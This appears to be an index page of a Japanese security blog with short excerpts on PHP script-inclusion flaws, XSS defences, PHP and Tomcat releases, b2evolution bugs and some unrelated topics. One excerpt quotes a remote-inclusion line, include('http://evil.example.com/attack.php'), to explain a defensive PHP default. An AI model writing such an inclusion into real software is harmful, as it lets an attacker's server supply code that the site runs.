X

スクリプトインクルード問題の根本的解決策

スクリプトインクルード問題には2種類の問題があります。一つはリモートスクリプトインクルード、もう一つはローカルスクリプトインクルードです。 デフォルト設定のPHP 5.2はURL形式のファイルをスクリプトとして実行できなくなりました。つまり include('http://evil.example.com/attack.php'); の様なコードは実行できな…

データバインディングを利用したXSS対策

少し前にクライアントサイドでXSS対策(Failsafe対策)をする方法を紹介しましたが http://blog.ohgaki.net/index.php/yohgaki/2007/08/01/a_ma_ca_ca_ca_sa_a_ma_ca_a_sa_rxssamfcs こちらはサーバサイド(データをバインディングする方法)も使ってXSS対策する方法です。…

PHP 5.2.4

ご存知の方も多いと思いますがPHP 5.2.4のリリースが近いです。しばらく前にRC1が出ています。 http://qa.php.net/ どのWebアプリケーションもですがインフラとなるソフトウェアのバージョンアップをどう行うか定めておかなければなりません。オープンソースの場合、いつでもソースコードのリポジトリから開発版が利用できるので開発版を利用してアプ…

パッチを提供すべきか、移行すべきか、自分で作るか…

このブログを利用し始めた当時、b2evolution以外でユーザからの入力をホワイトリスト方式でチェックしているアプリが見つからなかったので採用しました。しかし、最近のバージョンは日本語環境での利用には問題があります。ハイパーリンクを付けるとそれ以降が表示されない、ロケールの処理に問題があり文字化けする、等です。 この問題に対応するためには パッチを提供 別…

メモリを解析して脆弱性を自動的に検出、攻撃コードを作成するツール

オープンソースのセキュリティツールで有名(?)なImmunityのDebuggerが結構話題になっている。他にもいろいろ紹介されているようですがeWeekの記事が分かりやすい。 http://www.eweek.com/article2/0,1895,2166829,00.asp Debuggerはヒープやスタックメモリを自動的に解析して脆弱性を検出し、ほぼ…

HTTP_ACCEPT_CHARSET/HTTP_ACCEPT_LANGUAGEの取り扱いバグ

b2evolutionをいい加減アップグレードしておかないと問題があっても困るのでアップグレードしました。HTTP_ACCEPT_CHARET/HTTP_ACCEPT_LANGUAGE処理の不具合がまだなおっていないようです... 日本語のように単語区切りがない言語(または正規表現の文字エンコーディング設定)の不具合も直っていないようです。 昨日から今日まで…

Mac miniがCore2Duoに

新iMacのアナウンスと同時にMac miniのCPUがCore2Duoになる事が明らかになったようです。 新モデルは「Core 2 Duo」を搭載した。599ドルモデルは1.83GHzの「Core 2 Duo T5600」を、799ドルモデルは2.0GHzの「Core 2 Duo T7200」を搭載している。 OSは10.5はファミリーパックで買うのでリリ…

IT技術者は高収入だが満足度が低い

イギリスはこの手の統計が好きなのか、私がたまたまイギリスのこの手の統計情報を見かけているのか収入と満足度の調査結果によると81種に分けた業種中、IT技術者は満足度が66位だそうです。以前に見かけた統計でも同じような結果でした。 収入の平均は4万ポンドを超えるそうなので日本円にすると964万円( http://quote.yahoo.co.jp/m5?a=40…

Tomcat 3.3.0 – 3.3.2にクロスサイトスクリプティング脆弱性

IPAのドキュメントでは大規模開発にはJava, .NETをお勧めしているようですがTomcatのページにはこのような記載も。 Apache Tomcat 3.x and 4.x, we strongly encourage users to use the latest stable version of Apache Tomcat whenever po…

Canon iP7500:OSXからLPDでプリント

WindowsServer 2003にCanon iP7500が接続されLPDサーバのプリンタとして利用しています。LinuxからはiP7500用のSRPMをちょっと手直しして無理矢理ビルドしたドライバで普通に印刷できています。 # リンクしたがるライブラリが古すぎるので無理矢理新しいライブラリと # リンクさせてますが私の使用方法だと困った事はないです。 …